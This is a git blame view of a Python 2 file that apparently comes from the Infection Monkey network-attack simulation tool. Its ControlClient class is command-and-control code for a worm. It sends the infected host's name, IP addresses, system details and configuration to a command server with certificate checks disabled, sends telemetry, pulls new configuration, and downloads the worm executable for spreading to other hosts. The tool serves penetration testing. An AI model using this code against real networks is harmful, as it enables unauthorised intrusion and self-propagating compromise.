2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
import json
|
|
|
|
import random
|
|
|
|
import logging
|
|
|
|
import requests
|
2015-09-29 22:58:06 +08:00
|
|
|
import platform
|
|
|
|
import monkeyfs
|
|
|
|
from network.info import local_ips
|
|
|
|
from socket import gethostname, gethostbyname_ex
|
|
|
|
from config import WormConfiguration, Configuration, GUID
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
__author__ = 'hoffer'
|
|
|
|
|
|
|
|
requests.packages.urllib3.disable_warnings()
|
2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
LOG = logging.getLogger(__name__)
|
2015-09-29 22:58:06 +08:00
|
|
|
DOWNLOAD_CHUNK = 1024
|
2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
class ControlClient(object):
|
2015-09-29 22:58:06 +08:00
|
|
|
|
2015-08-30 15:27:35 +08:00
|
|
|
@staticmethod
|
2015-09-29 22:58:06 +08:00
|
|
|
def wakeup(parent=None):
|
|
|
|
for server in WormConfiguration.command_servers:
|
|
|
|
try:
|
|
|
|
hostname = gethostname()
|
|
|
|
if None == parent:
|
|
|
|
parent = GUID
|
|
|
|
|
|
|
|
WormConfiguration.current_server = server
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
monkey = { 'guid': GUID,
|
|
|
|
'hostname' : hostname,
|
|
|
|
'ip_addresses' : local_ips(),
|
|
|
|
'description' : " ".join(platform.uname()),
|
|
|
|
'config' : WormConfiguration.as_dict(),
|
|
|
|
'parent' : parent
|
|
|
|
}
|
|
|
|
|
|
|
|
reply = requests.post("https://%s/api/monkey" % (server,),
|
|
|
|
data=json.dumps(monkey),
|
|
|
|
headers={'content-type' : 'application/json'},
|
|
|
|
verify=False)
|
|
|
|
|
|
|
|
break
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
except Exception, exc:
|
|
|
|
LOG.warn("Error connecting to control server %s: %s",
|
|
|
|
server, exc)
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def keepalive():
|
|
|
|
try:
|
|
|
|
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
|
|
|
data=json.dumps({}),
|
|
|
|
headers={'content-type' : 'application/json'},
|
|
|
|
verify=False)
|
2015-08-30 15:27:35 +08:00
|
|
|
except Exception, exc:
|
|
|
|
LOG.warn("Error connecting to control server %s: %s",
|
2015-09-29 22:58:06 +08:00
|
|
|
WormConfiguration.current_server, exc)
|
2015-08-30 15:27:35 +08:00
|
|
|
return {}
|
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
@staticmethod
|
|
|
|
def send_telemetry(tele_type='general',data=''):
|
|
|
|
try:
|
|
|
|
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
|
|
|
|
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
|
|
|
data=json.dumps(telemetry),
|
|
|
|
headers={'content-type' : 'application/json'},
|
|
|
|
verify=False)
|
|
|
|
|
|
|
|
except Exception, exc:
|
|
|
|
LOG.warn("Error connecting to control server %s: %s",
|
|
|
|
WormConfiguration.current_server, exc)
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def load_control_config():
|
|
|
|
try:
|
|
|
|
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False)
|
|
|
|
|
|
|
|
except Exception, exc:
|
|
|
|
LOG.warn("Error connecting to control server %s: %s",
|
|
|
|
WormConfiguration.current_server, exc)
|
|
|
|
return
|
|
|
|
|
2015-08-30 15:27:35 +08:00
|
|
|
try:
|
2015-09-29 22:58:06 +08:00
|
|
|
WormConfiguration.from_dict(reply.json().get('config'))
|
|
|
|
except Exception, exc:
|
2015-08-30 15:27:35 +08:00
|
|
|
LOG.warn("Error parsing JSON reply from control server %s (%s): %s",
|
2015-09-29 22:58:06 +08:00
|
|
|
WormConfiguration.current_server, reply._content, exc)
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def download_monkey_exe(host):
|
|
|
|
try:
|
|
|
|
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
|
|
|
data=json.dumps(host.as_dict()),
|
|
|
|
headers={'content-type' : 'application/json'},
|
|
|
|
verify=False)
|
|
|
|
|
|
|
|
if 200 == reply.status_code:
|
|
|
|
result_json = reply.json()
|
|
|
|
filename = result_json.get('filename')
|
|
|
|
if not filename:
|
|
|
|
return None
|
|
|
|
size = result_json.get('size')
|
|
|
|
dest_file = monkeyfs.virtual_path(filename)
|
|
|
|
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
|
|
|
|
return dest_file
|
|
|
|
else:
|
|
|
|
download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename),
|
|
|
|
verify=False)
|
|
|
|
with monkeyfs.open(dest_file, 'wb') as file_obj:
|
|
|
|
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
|
|
|
if chunk:
|
|
|
|
file_obj.write(chunk)
|
|
|
|
file_obj.flush()
|
|
|
|
if size == monkeyfs.getsize(dest_file):
|
|
|
|
return dest_file
|
|
|
|
|
|
|
|
except Exception, exc:
|
|
|
|
LOG.warn("Error connecting to control server %s: %s",
|
|
|
|
WormConfiguration.current_server, exc)
|
|
|
|
|
|
|
|
return None
|
2015-08-30 15:27:35 +08:00
|
|
|
|